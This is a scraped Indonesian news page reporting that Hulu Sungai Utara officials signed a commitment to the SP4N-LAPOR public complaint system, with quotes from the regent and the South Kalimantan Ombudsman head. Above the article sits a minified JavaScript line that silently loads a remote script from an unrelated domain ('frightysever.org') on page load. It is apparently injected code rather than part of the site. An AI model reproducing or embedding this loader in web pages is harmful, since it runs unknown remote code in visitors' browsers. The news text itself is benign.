(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Penandatangan Komitmen Pejabat Pemkab HSU Aplikasi LAPOR!


AMUNTAI, Bupati Hulu Sungai Utara (HSU) bersama Seluruh kepala SKPD di lingkungan Pemerintah Kabupaten HSU melakukan penandatanganan komitmen bersama dalam rangka mendukung Sistem Pengelolaan Pengaduan Pelayanan Publik Nasional (SP4N) melalui aplikasi Layanan Aspirasi Pengaduan Online Rakyat (LAPOR).

Penandatangan dilakukan saat apel pagi gabungan di halaman kantor Bupati HSU, Senin (7/10) diikuti seluruh pejabat daerah, dihadiri Kepala Diskominfo Provinsi Kalsel Drs H Gusti Yanuar Nur Rifai MSi dan Ketua Ombudsman Kalsel Noorhalis Majid.

Bupati HSU H Abdul Wahid HK mengungkapkan terimakasih dan penghargaan yang tinggi kepada Dinas Komunikasi dan Informatika Provinsi Kalimantan Selatan dan juga Ombudsman Provinsi Kalimantan Selatan yang turut hadir dan menyaksikan penandatanganan komitmen bersama Sistem Pengelolaan Pengaduan Pelayanan Publik Nasional (SP4N) melalui Laporan Aspirasi Pengaduan Online Rakyat (LAPOR).

“Dengan ditandatanganinya komitmen penerapan (SP4N-LAPOR) oleh pimpinan SKPD ini berarti kita telah berkomitmen untuk mengelola pengaduan publik melalui LAPOR, karenanya kami minta kepada kepala SKPD agar sungguh sungguh menindak lanjuti dan melaksanakan kebijakan strategis dalam layanan publik ini dengan baik dan penuh tanggung jawab,” ujar Bupati Wahid.


Lebih lanjut, dikatakanya pengelolaan pengaduan merupakan hal yang penting sebagai sarana perbaikan pelayanan publik, meningkatkan kepercayaan masyarakat, dasar pengambilan keputusan atau kebijakan serta mengawal akuntabilitas pemerintah.

Kebijakan ini juga merupakan tindak lanjut dari pelaksanaan peraturan presiden nomor 95 tahun 2018, tentang sistem pemerintah berbasis elektronik (SPBE) sekaligus surat edaran menteri pendayagunaan aparatur negara dan reformasi birokrasi nomor 4 tahun 2016 tentang pengintegrasian pengelolaan pengaduan pelayanan publik secara nasional bagi pemerintah daerah di dalam SP4N-LAPOR,” jelas Wahid.

Bupati Wahid juga meminta agar pengelolaan pengaduan ini dapat dikelola dengan baik, cepat dalam merespon, menindak lanjuti serta melaporkan setiap masukan atau pengaduan Publik. Sehingga SP4N-LAPOR benar benar dapat berfungsi sebagaimana peran dan fungsinya.

Sementara, Noorhalis Majid, Kepala Perwakilan Ombudsman Kalsel, melaui komitmen ini diharapkan seluruh SKPD penyelenggara pelayanan publik terhubung dengan aplikasi LAPOR ini.

“Sehingga kalau ada masyarakat yang komplen atas pelayanan publik bisa ditindak lanjuti dan bisa di ketahui, sistem ini juga terhubung dengan sekretariat presiden dan Ombudsman, jadi dalam kontek pelayanan publik seluruh komplen masyarakat itu bagian dari pelayanan publik dan kita sebagai penyelenggara pelayanan harus merespon laporan tersebut,” jelasnya.

Dirinya juga berharap HSU dan seluruh SKPD sudah terkoneksi dan sudah terhubung akan aplikasi ini.

Di setiap SKPD mesti ada pejabat penerima laporan, pejabat penghubungnya bisa menyampaikan apabila ada orang komplain atas pelayanan publik itu ke SKPD mana yang harus menanganinya, karena bisa jadi itu bukan kewenangan SKPD lalu bisa meneruskan ke SKPD berkaitan. Yang kedua laporan itu harus ditindak sebagai layanan publik itu sendiri.

“Kami sangat berharap penerima laporan kapasitasnya semakin meningkat sehingga laporan laporan yang disampaikan oleh masyarakat itu bagian dari masukan yang berguna dalam rangka perbaikan pembangunan di tahun tahun berikutnya,” imbaunya.

Selain itu, Nurhalis Majid juga menyebut bahwa aplikasi LAPOR memberi manfaat bagi instansi itu karena di dalam aplikasi itu ada data statistik yang memberitahu persoalan apa saja yang menjadi keluhan masyarakat, hal tersebut dapat dijadikan bahan refrensi untuk Bappeda guna menyusun program dan segala macam.

Karena menurutnya, sering kali apa yang dilakukan oleh pemerintah tidak menjawab langsung apa yang menjadi kebutuhan masyarakat, agar ada referensi dalam membuat berbagai macam kebijakan yang di buat oleh pemerintah dan dapat menjadi penghubung pemerintah dan masyarakat. (dew)


Desy Arfianty

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

3 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

4 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

14 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

15 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

15 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

15 jam ago

This website uses cookies.